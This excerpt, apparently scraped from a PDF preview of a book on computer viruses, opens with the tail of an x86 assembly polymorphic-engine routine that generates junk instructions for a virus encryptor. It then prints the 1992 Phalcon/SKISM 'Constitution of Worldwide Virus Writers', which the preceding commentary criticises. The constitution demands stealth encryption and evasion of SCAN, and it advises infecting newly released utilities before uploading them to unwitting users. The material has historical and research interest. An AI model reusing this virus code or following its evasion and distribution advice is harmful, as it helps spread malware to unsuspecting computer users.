[ Pobierz całość w formacie PDF ]
call no_sp
stosb
ret
XCHG_AX_Reg2:
call XCHG_AX_Reg ;XCHG AX,reg / XCHG AX,reg
stosb
ret
PUSH_POP:
and ah,7 ;PUSH reg / POP reg
or ah,50h
mov al,ah
or ah,8
stosw
ret
INC_DEC:
and al,0Fh ;INC / DEC
or al,40h
call no_sp
stosb
ret
INC_DEC2:
call INC_DEC ;INC / DEC or DEC / INC
xor al,8
stosb
ret
abcd3:
and ah,1 ;DO rm,xxxx
or ax,80C0h
call no_sp
xchg ah,al
stosw
test al,1
pushf
call Random_Number
popf
;--- Store a byte or word to encryptor --------------------
Is_B_or_W:
jz short Is_B
stosw
ret
Is_B:
stosb
ret
;--- leave SP alone ---------------------------------------
no_sp:
push ax
and al,7
cmp al,4
pop ax
jnz short no_sp_ret
and al,0FBh
no_sp_ret:
ret
no_sp2:
push ax
and ah,38h
cmp ah,20h
pop ax
jnz short no_sp2_ret
xor ah,20h
no_sp2_ret:
ret
;--- don't use [BP+...] -----------------------------------
no_bp2:
push ax
and ah,7
cmp ah,6
pop ax
jnz short no_bp_ret
or ah,1
no_bp_ret:
ret
no_bp:
test ah,4
jnz short no_bp2
and ah,0FDh
ret
;--- Write byte for JMP/CALL, and fill with random bytes --
Prep_Trash:
push cx
xchg cx,ax
Fill_Trash:
call Random_Number
stosb
loop Fill_Trash
pop cx
ret
last:
end Entry
Virus Writer's Code of Ethics
Do the virus writers have a code of ethics? Not
really. Each virus writer has very different reasons for
their actions.
Dark Angel, of Phalcon/SKISM, has attempted to form
some co-operation between virus writers by proposing a set
of governing rules. Unfortunately, this constitution
excludes non-English speaking writers, and thwarts the
rights of several key individuals, and promotes the spread
of computer viruses on the unsuspecting public. In this,
the Constitution of Worldwide Virus Writers forfeits its own
legitimacy. No follow-up has ever appeared
The Constitution of Worldwide Virus Writers
*
Initial Release - February 12, 1992
We, the members of PHALCON/SKISM, in order to form a more
perfect environment worldwide for the virus community,
establish justice, ensure intracommunity tranquility,
provide for the common defense and offense, promote the
general welfare, and secure the blessings of liberty to
ourselves and our posterity, do ordain and establish this
Constitution of Worldwide Virus Writers.
ARTICLE I - REGARDING ORIGINAL VIRII
Section A - DEFINITION
The term "original virus" herein indicates programming done
exclusively by either one individual or group, with no code
taken from any other source, be it a book or another virus.
Section B - CODE REQUIREMENTS
For an original virus to conform to the standards set by
this document, it must include the following:
1) The title of the virus in square brackets followed by a
zero byte should be in the code, in a form suitable for
inclusion into SCAN(1). This is to ensure that the name
of the virus is known to those examining it.
2) The name of the author and his/her group affilition/s
should be included in the code, followed by a zero byte.
At the present, this is an optional requirement.
3) Some form of encryption or other form of stealth
techniques must be used. Even a simple XOR routine will
suffice.
4) If the virus infects files, the code should be able to
handle infection of read only files.
5) It must have some feature to distinguish it from other
virii. Creativity is encouraged above all else.
6) The virus must not be detectable by SCAN.
Section C - IMPLEMENTATION
This section, and all sections hereafter bearing the
heading
"IMPLEMENTATION" refer to the recommended method of
implementation of the suggestions/requirements listed in
the current article.
1) Virus_Name db '[Avocado]',0
2) Author db 'Dark Angel, PHALCON/SKISM',0
ARTICLE II - REGARDING "HACKED" VIRII
Section A - DEFINITION
The term "hacked virus" herein refers to any virus written
by either one individual or a group which includes code
taken from any other source, be it a book, a code fragment,
or the entire source code from another virus.
The term "source virus" herein refers to the virus which
spawned the "hacked virus."
Section B - CODE REQUIREMENTS
For a "hacked" virus to conform to the standards set forth
by this document, it must include the following, in
addition to all the requirements set down in Article I of
this document:
1) The title, author (if available), and affiliation of the
author (if available) of the original virus.
2) The author of the hacked virus must give the source code
of said virus to the author of the source virus upon
demand.
3) No more Jerusalem, Burger, Vienna, Stoned, and Dark
Avenger hacks are to be written.
4) The source virus must be improved in some manner
(generally in efficiency of speed or size).
5) The hacked virus must significantly differ from the
source
virus, i.e. it cannot be simply a text change.
Section C - IMPLEMENTATION
1) Credit db 'Source stolen from Avocado by Dark Angel of
PHALCON/SKISM',0
ARTICLE III - REGARDING VIRAL STRAINS
Section A - DEFINITION
The term "viral strain" herein refers to any virus written
by the original author which does not significantly differ
from the original. It generally implies a shrinking in
code size, although this is not required.
Section B - CODE REQUIREMENTS
For a "viral strain" to conform to the standards set by
this document, it must include the following, in addition
to all the requirements set down in Article I of this
document:
1) The name of the virus shall be denoted by the name of
the
original virus followed by a dash and the version
letter.
2) The name of the virus must not change from that of the
original strain.
3) A maximum of two strains of the virus can be written.
Section C - IMPLEMENTATION
1) Virus_Name db '[Avocado-B]',0
ARTICLE IV - DISTRIBUTION
Section A - DEFINITION
The term "distribution" herein refers to the transport of
the virus through an infected file to the medium of storage
of a third (unwitting) party.
Section B - INFECTION MEDIUM
The distributor shall infect a file with the virus before
uploading. Suggested files include:
1) Newly released utility programs.
[ Pobierz całość w formacie PDF ]
